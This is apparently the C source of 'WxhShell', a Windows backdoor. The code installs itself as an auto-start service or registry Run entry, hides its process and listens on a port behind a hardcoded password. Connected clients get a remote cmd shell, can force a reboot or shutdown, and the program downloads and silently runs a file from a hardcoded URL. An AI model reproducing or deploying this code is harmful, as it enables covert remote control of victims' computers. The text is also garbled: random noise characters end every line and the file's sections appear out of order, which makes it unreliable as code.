    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H#B97IGT  
    if(Boot(SHUTDOWN)) P |;=dX#-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (z^9 87G  
    else { J(kC  
    closesocket(wsh); ZCDcf   
    ExitThread(0); e`;U9Z  
    } e! 0Y`lQ  
    break; R![1\Yv&  
    } MXynv";<H  
  // 获取shell z5 :53,`D'  
  case 's': { xB,(!0{`  
    CmdShell(wsh); $<d3g :  
    closesocket(wsh); ^spASG -o  
    ExitThread(0); CxJH)H$  
    break; mH7Mch| m  
  } h;t5v6["  
  // 退出 b0[H{q-z{X  
  case 'x': { yA^+<uz}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |=#uzp7*  
    CloseIt(wsh); eG%Q 3h  
    break; e*pYlm  
    } %$zX a%A  
  // 离开 dwmZ_m.  
  case 'q': { |"k+j_/+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8&++S> <  
    closesocket(wsh); we2D!Ywr  
    WSACleanup(); 9pq-"?vHY0  
    exit(1); TbR!u:J  
    break; R% )7z)~  
        } R2dCp|6A  
  } u;=a=>05IR  
  } YE1X*'4  
[+>cW0a  
  // 提示信息 uOQl;}Lk5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A9ru]|?  
} %<;PEQQ|C  
  } _2nNCu (  
}yMA s  
  return; n]snD1?KX  
} 8? &!@3n  
N.|uPq$R  
// shell模块句柄 ZqJyuTPv  
int CmdShell(SOCKET sock) {{Z3M>Q  
{ dS~#Lzm  
STARTUPINFO si; "oo j;  
ZeroMemory(&si,sizeof(si)); 5)<}a&;{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {%XDr,myd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z)RV6@(  
PROCESS_INFORMATION ProcessInfo; Ib0@,yS[  
char cmdline[]="cmd"; c~{)vL0K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H@BU/{  
  return 0; +BkmI\  
} afj[HJbY  
t^(wbC  
// 自身启动模式 y<*/\]t9L[  
int StartFromService(void) V"Y-|R  
{ ^RE("'+  
typedef struct 'U'Y[*m@  
{ L(\o66a-rV  
  DWORD ExitStatus; T`SpIdzB.  
  DWORD PebBaseAddress; nZ~J &QK-  
  DWORD AffinityMask; Afo qCF  
  DWORD BasePriority; E:S (v  
  ULONG UniqueProcessId; /\|Behif  
  ULONG InheritedFromUniqueProcessId; l|'{Cb   
}   PROCESS_BASIC_INFORMATION; 1g bqHxWI  
-+Ab[  
PROCNTQSIP NtQueryInformationProcess; s.K Hm L3  
ew\ZFqA;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q*l_QnfG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +!)v=NY  
GN@(!V#/4  
  HANDLE             hProcess; K*fh`Kz  
  PROCESS_BASIC_INFORMATION pbi; U8icP+Y  
oO~LiK>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @/0-`Y@?  
  if(NULL == hInst ) return 0; ^{w]r5d  
;_?RPWZ;MO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o+ 0"@B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H?W8_XiN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hF7#i_UN<  
4/M~#  
  if (!NtQueryInformationProcess) return 0; 2N[S*#~*e  
<R @w0b>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  v{ *#  
  if(!hProcess) return 0; @G:aW\Z  
N!W2O>VS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6A*k  
vILq5iR  
  CloseHandle(hProcess); 3v7*@(y  
@>SirYh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o@blvW<v7  
if(hProcess==NULL) return 0; C J#1j>  
^E`SR6_cmj  
HMODULE hMod; |XoW Z,K  
char procName[255]; fC^POLn[f  
unsigned long cbNeeded; PcQqdU^!  
nK;c@!~pS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EG3?C  
Zh,{e/j  
  CloseHandle(hProcess); |*-&x:p7O  
Kitx%P`i  
if(strstr(procName,"services")) return 1; // 以服务启动 #JIh-h@  
Zm~oV?6  
  return 0; // 注册表启动 ?5MOp  
} IW-lC{hK  
(_'Efpg|  
// 主模块 si.w1  
int StartWxhshell(LPSTR lpCmdLine) #gd`X|<Ch  
{ KG8Km  
  SOCKET wsl; >)p8^jX   
BOOL val=TRUE; ^YwTO/Q|  
  int port=0; |Wzdu2T  
  struct sockaddr_in door; *='J>z.]  
j65qIw_Z  
  if(wscfg.ws_autoins) Install(); j`pX2S  
:q,tmk h  
port=atoi(lpCmdLine); gS$?#!f  
N#"(  
if(port<=0) port=wscfg.ws_port; 2%*mL98WK  
YqSkz|o}m  
  WSADATA data; -kI;yL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x=~$ik++  
'#p2v'A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7lYiufg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CBvvvgIo  
  door.sin_family = AF_INET; >^q7:x\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0281"aO  
  door.sin_port = htons(port); c-gpO|4>  
POtwT">z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6o!Y^^/U  
closesocket(wsl); }:2GD0Ru  
return 1; rS^+y{7  
} ]E!b&  
/a:sWmxMT  
  if(listen(wsl,2) == INVALID_SOCKET) { c mI&R(  
closesocket(wsl); uF89B-t  
return 1; 236,o {9e  
} TowRY=#jiS  
  Wxhshell(wsl); ! >l)*jN8  
  WSACleanup(); V$';B=M  
#`(-Oj2hH  
return 0; MX\v2["FoV  
C}>Pn{wY9  
} P>s 3Rh3:  
F vt5vQ  
// 以NT服务方式启动 b6y/o48  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y2:~_MD  
{ "{F e  
DWORD   status = 0;  a8wQ ,  
  DWORD   specificError = 0xfffffff; @0{vA\  
vv% o+r-t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 12JmSvD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ./# F,^F2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "g=g' W#  
  serviceStatus.dwWin32ExitCode     = 0; ,q|;`?R;  
  serviceStatus.dwServiceSpecificExitCode = 0; CV )v6f  
  serviceStatus.dwCheckPoint       = 0; VA^yv1We  
  serviceStatus.dwWaitHint       = 0; U 3UDA  
\2Atm,#4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v@^P4cu;  
  if (hServiceStatusHandle==0) return; ? f\ ~:Gm/  
k9Xv@v  
status = GetLastError(); F&= X/  
  if (status!=NO_ERROR) ;:5Ahfo \  
{ O h{ >xg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U&}v1wdZ3  
    serviceStatus.dwCheckPoint       = 0; VQ,;~^Td  
    serviceStatus.dwWaitHint       = 0; Y)oF;ko:  
    serviceStatus.dwWin32ExitCode     = status; ^vA"3Ixb!  
    serviceStatus.dwServiceSpecificExitCode = specificError; $>csm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }> pNf  
    return;  ^D.u   
  } ft" t  
Z\9DtvV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gfY1:0  
  serviceStatus.dwCheckPoint       = 0; BhcTPQsW  
  serviceStatus.dwWaitHint       = 0; PZjK6]N\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `1fNB1c  
} ZS\~GQbG  
V^[B=|56  
// 处理NT服务事件,比如:启动、停止 EO: VH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4u.Fy<+@4M  
{ o$%I{}9x  
switch(fdwControl) <<5x"W(,  
{ LI`H,2Km  
case SERVICE_CONTROL_STOP: aR0'$*3E  
  serviceStatus.dwWin32ExitCode = 0; M8p6f)l3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y;dQLZ CC  
  serviceStatus.dwCheckPoint   = 0; eF%>5  
  serviceStatus.dwWaitHint     = 0; cFF'ygJ/  
  { BV@xE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ={]tklND  
  } io1hUZ  
  return; AwQ7Oz|(  
case SERVICE_CONTROL_PAUSE: QRL+-)DMc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zY^QZceq"  
  break; X]T&kdQ6q  
case SERVICE_CONTROL_CONTINUE: s`63 y&Z[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |h6u%t2AY  
  break; \lBY4j+;  
case SERVICE_CONTROL_INTERROGATE: ]XS[\qo  
  break;  3 UX/  
}; 4?2$~\ x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }3DZ`8u  
} >o_cf*nx  
/nas~{B  
// 标准应用程序主函数 r;C BA'Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W~i599!v  
{ $ctpg9 7  
n=8DC&  
// 获取操作系统版本 XK=-$2n  
OsIsNt=GetOsVer(); ,}jey72/k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 76BA1x+G  
c*c 8S~6  
  // 从命令行安装 C >gC 99  
  if(strpbrk(lpCmdLine,"iI")) Install(); x3L0;:Fx8P  
^|j @' @L  
  // 下载执行文件 *<"#1H/q  
if(wscfg.ws_downexe) { GJo`9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oT}-i [=}  
  WinExec(wscfg.ws_filenam,SW_HIDE); :% m56  
} }xG~ a=,  
p1`") $  
if(!OsIsNt) { p.@_3^#|  
// 如果时win9x,隐藏进程并且设置为注册表启动 =`W#R  
HideProc(); =f\BAi  
StartWxhshell(lpCmdLine); E WNm }C9  
} :|PI_ $4H  
else ,GTIpPj  
  if(StartFromService()) mDX UF~G[  
  // 以服务方式启动 *:tfz*FG$G  
  StartServiceCtrlDispatcher(DispatchTable); tB/'3#o  
else Q@aDa8Z  
  // 普通方式启动 :|TQi9L$rj  
  StartWxhshell(lpCmdLine); \{K~x@`  
FNy-&{P2  
return 0; S #6:!  
} iQ#dWxw4  
FesUE_L2$  
<[Y@<  
qw35LyL  
=========================================== tuIQiWHbM  
<#>{7" }  
%Xjg/5G-  
+txHj(Y`  
U%u%_{-  
Fsi;[be$A  
" D wtvtglqV  
q2}6lf,J K  
#include <stdio.h> ;9"6g=q  
#include <string.h> Cj1nll8c  
#include <windows.h> DR c-L$bD  
#include <winsock2.h> 5ji#rIAhxh  
#include <winsvc.h> }F=lG-x  
#include <urlmon.h> .h=H?Hr(V]  
m#a1N  
#pragma comment (lib, "Ws2_32.lib") =}wqo6Bn|  
#pragma comment (lib, "urlmon.lib") g7@.Fa.u'!  
2{oU5e  
#define MAX_USER   100 // 最大客户端连接数 "^&Te%x_b  
#define BUF_SOCK   200 // sock buffer ]GH_;  
#define KEY_BUFF   255 // 输入 buffer gt|:K)[,6  
q)QM+4  
#define REBOOT     0   // 重启 RM6*c .  
#define SHUTDOWN   1   // 关机 ]3&BLq  
/P koqA,  
#define DEF_PORT   5000 // 监听端口 fj:q_P67o  
,cCBAO ueO  
#define REG_LEN     16   // 注册表键长度 )FSa]1t;x  
#define SVC_LEN     80   // NT服务名长度 ['JIMcD  
c6~<vV'}  
// 从dll定义API 1Q6~O2a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ||^+(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ka?EXF:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KbM1b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u.9syr  
"*JyNwf  
// wxhshell配置信息 i=AQ1X\s  
struct WSCFG { rPXy(d1<`S  
  int ws_port;         // 监听端口 ;JV(!8[  
  char ws_passstr[REG_LEN]; // 口令 3\E G  
  int ws_autoins;       // 安装标记, 1=yes 0=no '8V>:dy>  
  char ws_regname[REG_LEN]; // 注册表键名 -W'T3_  
  char ws_svcname[REG_LEN]; // 服务名 cZ l/8?dj}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AoFxho  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {No Y`j5S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >`o;hTS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #2*6esP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" klxNGxWAX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MR}h}JEx0  
%Gc)$z/Wd  
}; Xn # v!  
Z>(K|3_  
// default Wxhshell configuration j7sRmQCl  
struct WSCFG wscfg={DEF_PORT, @D+2dT0[M  
    "xuhuanlingzhe", gvCQ![  
    1, y$`@QRW  
    "Wxhshell", =.\PG [  
    "Wxhshell", ?*dt JL  
            "WxhShell Service", ck\TTNA  
    "Wrsky Windows CmdShell Service", vV*i)`IXe  
    "Please Input Your Password: ", 0.z\YTZ9  
  1, MNu\=p\Eq  
  "http://www.wrsky.com/wxhshell.exe", s]'EIw}mo  
  "Wxhshell.exe" {2T;^+KE  
    }; qj:\ )#I  
A40Q~X  
// 消息定义模块 d$#DXLA\P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YF6 8 Ax]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ac8t>;=&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mi:i1i cdn  
char *msg_ws_ext="\n\rExit."; gH:+$FA  
char *msg_ws_end="\n\rQuit."; $q 9dkt  
char *msg_ws_boot="\n\rReboot..."; f`bRg8v  
char *msg_ws_poff="\n\rShutdown..."; y1_z(L;I  
char *msg_ws_down="\n\rSave to "; v&r\Z @%  
u )k Q*&  
char *msg_ws_err="\n\rErr!"; '@G=xYR  
char *msg_ws_ok="\n\rOK!"; -n~%v0D8c  
< gu>06  
char ExeFile[MAX_PATH]; mJ JF  
int nUser = 0;  Vl`!6.F3  
HANDLE handles[MAX_USER]; \kEC|O)8  
int OsIsNt; a_U[!`/ w  
q:<vl^<j  
SERVICE_STATUS       serviceStatus; ~=k?ea/>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q"$C)o  
F42?h:y8I  
// 函数声明 ,KFF[z  
int Install(void); fX{Xw0  
int Uninstall(void); -s&7zqW  
int DownloadFile(char *sURL, SOCKET wsh); ^k5#{?I  
int Boot(int flag); 4gh` >  
void HideProc(void); l9vJ]   
int GetOsVer(void); V(P 1{g  
int Wxhshell(SOCKET wsl); "5b4fQ;x  
void TalkWithClient(void *cs); $5N\sdyZxg  
int CmdShell(SOCKET sock); Y_,Tm  
int StartFromService(void); d]+2rt}]hL  
int StartWxhshell(LPSTR lpCmdLine); ]:}x 4O#  
6oy[0hj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /0(c-Dv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BNq6dz$J  
5 Mz6/&`  
// 数据结构和表定义 vE C#W43l  
SERVICE_TABLE_ENTRY DispatchTable[] = .Zm de*b  
{ *^i"q\n5(  
{wscfg.ws_svcname, NTServiceMain}, u]MQ(@HHF  
{NULL, NULL} fir#5,*q|  
}; W-<`Vo'  
(o518fmR  
// 自我安装 +6Ye'IOG  
int Install(void) 9"cyZO  
{ 35n'sVn  
  char svExeFile[MAX_PATH]; 9O|k|FD  
  HKEY key; yII+#?D  
  strcpy(svExeFile,ExeFile); (7w95xI  
K:54`UJ  
// 如果是win9x系统,修改注册表设为自启动 N4$ K {  
if(!OsIsNt) { Ls/*&u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |u_fVQj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d5#z\E??  
  RegCloseKey(key); XVzsqi*Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >9,:i)m_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K8{ef  
  RegCloseKey(key); ui<Mnm_T;d  
  return 0; y1#*c$ O  
    } sGO+O$J  
  } i0'g$  
} F!zGk(Pu  
else { =k##*%  
{Lugdf'  
// 如果是NT以上系统,安装为系统服务 !dOpLUh l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C=x70Y/  
if (schSCManager!=0) k|3hs('y|  
{ cQrXrij;!  
  SC_HANDLE schService = CreateService 349BQ5ND  
  ( 9yWSlbPr]  
  schSCManager, Kj/Lcx;bh  
  wscfg.ws_svcname, x\aCZ  
  wscfg.ws_svcdisp, V<Co!2S  
  SERVICE_ALL_ACCESS, hQwUw foe@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 21 z@-&Oq  
  SERVICE_AUTO_START, <{IeCir  
  SERVICE_ERROR_NORMAL, TFDzTD  
  svExeFile, jKb4d9aX  
  NULL, N14Q4v-*x  
  NULL, FB2{qG3  
  NULL, Wn&9R j  
  NULL, =kjD ]+l  
  NULL : $N43_Wb  
  ); N*SUA4bnuM  
  if (schService!=0) @`XbM7D 5  
  { EAV6qW\r5]  
  CloseServiceHandle(schService); +Ou<-EQV  
  CloseServiceHandle(schSCManager); g1I8_!}~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~T!D:2G  
  strcat(svExeFile,wscfg.ws_svcname); &"d :+!4h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vDCbD#.6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JfRqOEP4Y  
  RegCloseKey(key); ufo\p=pGG  
  return 0; &Xi] 0\M)  
    } ]sJjV A  
  } Uj^Y\w-@Z  
  CloseServiceHandle(schSCManager); j+[oZfH  
} |}Mthj9n  
} N5 mhs#  
&n]]OPo  
return 1; g=jB'h?  
} '#lc?Y(pJ2  
pER[^LH_)  
// 自我卸载 MUUhg  
int Uninstall(void) ?N]G;%3/  
{ W/.Wp|C}K3  
  HKEY key; 2/ejU,S  
|y&vMx~t  
if(!OsIsNt) { y\Wp} }  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .t.4y. 97  
  RegDeleteValue(key,wscfg.ws_regname); ='6@^6y  
  RegCloseKey(key); p~OX1RBI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?dmw z4k0  
  RegDeleteValue(key,wscfg.ws_regname); r=#v@]z B  
  RegCloseKey(key); &/?OP)N,}  
  return 0; BiA^]h/|  
  } K0\`0E^,  
} kH?PEA! \  
} Y mm*p,`  
else { _ygdv\^Tet  
l $0w 9Z^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lL&p?MUp  
if (schSCManager!=0) -qG7,t  
{ c=<^pCa9t1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \6!s";=hQ  
  if (schService!=0) Ict+|<f  
  { `HILsU=|  
  if(DeleteService(schService)!=0) { oI"gQFGu`u  
  CloseServiceHandle(schService); f!G%$?]  
  CloseServiceHandle(schSCManager); ;ZTh(_7  
  return 0; c 6/lfgN  
  } q#`;G,rs  
  CloseServiceHandle(schService); YGhHIziI  
  } x$KQ*P~q  
  CloseServiceHandle(schSCManager); 3935cxT1U  
} aT8A +=K6  
} 40$9./fe)  
D0yH2[j+  
return 1; T#a6X;9P  
} S"/gZfxer  
:Yn{:%p  
// 从指定url下载文件 7e /Kh)5G  
int DownloadFile(char *sURL, SOCKET wsh) VM+l9 z>  
{ }] . |7h  
  HRESULT hr; 0G3T.4I  
char seps[]= "/"; a> S -50  
char *token; $YK~7!!  
char *file; ~>$z1o&}.  
char myURL[MAX_PATH]; BJjxy0+  
char myFILE[MAX_PATH]; Pt7C/ qM/  
1~vv<`-  
strcpy(myURL,sURL); ZVz*1]}  
  token=strtok(myURL,seps); /Q'O]h0a  
  while(token!=NULL) le2 v"Y  
  { -l{ wB"  
    file=token; h([qq<Lzs  
  token=strtok(NULL,seps); \b?O+;5Cj  
  } XlJ+:st  
5D>cbzP@  
GetCurrentDirectory(MAX_PATH,myFILE); XQcE  ZJ2  
strcat(myFILE, "\\"); S9 @*g3  
strcat(myFILE, file); 5K00z?kD2V  
  send(wsh,myFILE,strlen(myFILE),0); M] W5 %3do  
send(wsh,"...",3,0); LP) IL~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wV'_{ /WM  
  if(hr==S_OK) =<U'Jtu6'  
return 0; sNJ?Z"5k1h  
else P c vA/W  
return 1; F2v9 XMi  
\$ :)Ka  
} .&/A!3pW  
xt8@l [Z  
// 系统电源模块 \8`^QgV`@  
int Boot(int flag) kp*BAQ  
{ H}lbF0`  
  HANDLE hToken; +'UxO'v3]  
  TOKEN_PRIVILEGES tkp; t_Ul;HVPS  
+Q!Kj7EU/  
  if(OsIsNt) { dq3"L!0u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aW b5w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /_r{7Gq.  
    tkp.PrivilegeCount = 1; a2H_8iQ!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q]-r'pYr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )==Qo/N:  
if(flag==REBOOT) { K555z+,'e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I2C1mV  
  return 0; 5S4`.'  
} >|JMvbje  
else { XNkQ0o0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7` t,   
  return 0; ? \NT'CG  
} 0!`!I0  
  } eb<' >a  
  else { g= s2t"&  
if(flag==REBOOT) { X($@E!|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,@t#)HV  
  return 0; (ce"ED`1  
} v9Ez0 :)  
else { 0*o=JM]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'Y5=A!*@tf  
  return 0; 62#8c~ dL  
} =4 W jb  
} LY!.u?D`P  
iD2>-yf  
return 1; =Lr# *ep[  
} r5&?-G  
*1_A$14 l  
// win9x进程隐藏模块 9R4q^tGR\  
void HideProc(void) 5<?/M<i  
{ 5v#_2Ih  
t8-LPq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !_h<w?)  
  if ( hKernel != NULL ) }Yp]A  
  { =JB1]b{|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1iE*-K%Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k!m9 l1x  
    FreeLibrary(hKernel); jI807g+  
  } vC5y]1QDd  
eh$T 3_#q  
return; ,T7(!)dR  
} L!kbDbqn  
Ib$?[  
// 获取操作系统版本 ;EfREfk  
int GetOsVer(void) 3(La)|k  
{ )"<:Md$7  
  OSVERSIONINFO winfo; p\M\mK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c(0Ez@  
  GetVersionEx(&winfo); 1 *$-.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5[$jrG\!  
  return 1; 1FmVx   
  else z=VL|Du1OT  
  return 0; h:'wtn@l(  
} o^~KAB7  
u< .N\/  
// 客户端句柄模块 X3rvM8  
int Wxhshell(SOCKET wsl) O.+X,CQG*  
{ 04R-}  
  SOCKET wsh; C?%Oi:Gi&  
  struct sockaddr_in client; 1fb!sbGD.k  
  DWORD myID; ,]-A~^|  
{siIRl2&  
  while(nUser<MAX_USER) C@s;0-qL  
{ d<4q%y'X{  
  int nSize=sizeof(client); nD;8)VI'I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9~WjCa*,&  
  if(wsh==INVALID_SOCKET) return 1; yn-TN_/Y,  
\~'+TW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8p~G)J3U  
if(handles[nUser]==0) D[}qhDlX  
  closesocket(wsh); VcR(9~  
else M]OZS\9.B  
  nUser++; 4f> s2I&pQ  
  } %q 7gl;'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n+uDg  
"+J[7p}`@  
  return 0; I%31MU9  
} 4vRIJ}nQ  
_D?`'zN  
// 关闭 socket dz Z75  
void CloseIt(SOCKET wsh) fQOh%i9n5  
{ :i:M7}r  
closesocket(wsh); IEW[VU)  
nUser--; ?AJE*=b  
ExitThread(0); 0^rDf L  
} QAh6!<.;@  
t.WWahNyY  
// 客户端请求句柄 w"K;e(S  
void TalkWithClient(void *cs) 4E DwZR>./  
{ Qcr-|?5L  
lVQy {`Ns  
  SOCKET wsh=(SOCKET)cs; F%>`?NG+c  
  char pwd[SVC_LEN]; 4I^8f||b_  
  char cmd[KEY_BUFF]; VCUEzR0  
char chr[1]; A VbGJ+  
int i,j; ygquQhf5  
h*\/{$y  
  while (nUser < MAX_USER) { ThSB\  
YE\s<$  
if(wscfg.ws_passstr) { |*WE@L5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IQ"9#{o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x>=8~wIK  
  //ZeroMemory(pwd,KEY_BUFF); gnN"pa!&~  
      i=0; s4{WPU9  
  while(i<SVC_LEN) { _lj&}>l  
:Pf2oQ  
  // 设置超时 &*wc` U  
  fd_set FdRead; Da"GYEC  
  struct timeval TimeOut; +_LWN8F  
  FD_ZERO(&FdRead); k3B-;%3I;  
  FD_SET(wsh,&FdRead); ;J3 (EB  
  TimeOut.tv_sec=8; t!,GI&  
  TimeOut.tv_usec=0; Td6"o&0A!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i'bUX=JK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9n#Em  
Pe_FW8e#J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'u{DFMB-A  
  pwd=chr[0]; d]6#pSE  
  if(chr[0]==0xd || chr[0]==0xa) { _Y gvLz %  
  pwd=0; Fb{kql=  
  break; E|fQbkfw  
  } m@){@i2.  
  i++; <ny)yK  
    } eDPmUlC+-  
Gv3AJ'NL  
  // 如果是非法用户,关闭 socket +kK6G#c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5<y pK`Kq  
} I6E!$ }  
!DUC#)F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hs~u&c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z;VabOr^  
>C|i^4ppI  
while(1) { 9(;I+.;8k  
D~s TQfWr  
  ZeroMemory(cmd,KEY_BUFF); c _v;"QZ  
RIO4`,  
      // 自动支持客户端 telnet标准   5==}8<$  
  j=0; +Ks! 9d*k<  
  while(j<KEY_BUFF) { ,[{)4J$MV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y.:Z:w6$  
  cmd[j]=chr[0]; b0_Ih6  
  if(chr[0]==0xa || chr[0]==0xd) { $h( B2  
  cmd[j]=0; "2'pS<|  
  break; 1k8zAtuj  
  } 6X@$xe847[  
  j++; dNL<O   
    } G*;6cV19  
eJ23$VM+9  
  // 下载文件 Cg! ]x o  
  if(strstr(cmd,"http://")) { h NCoX*icd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A#6\5u  
  if(DownloadFile(cmd,wsh)) Dqw?3 KB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z/S7ei@56  
  else VTt{ 0 ~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QP {V  
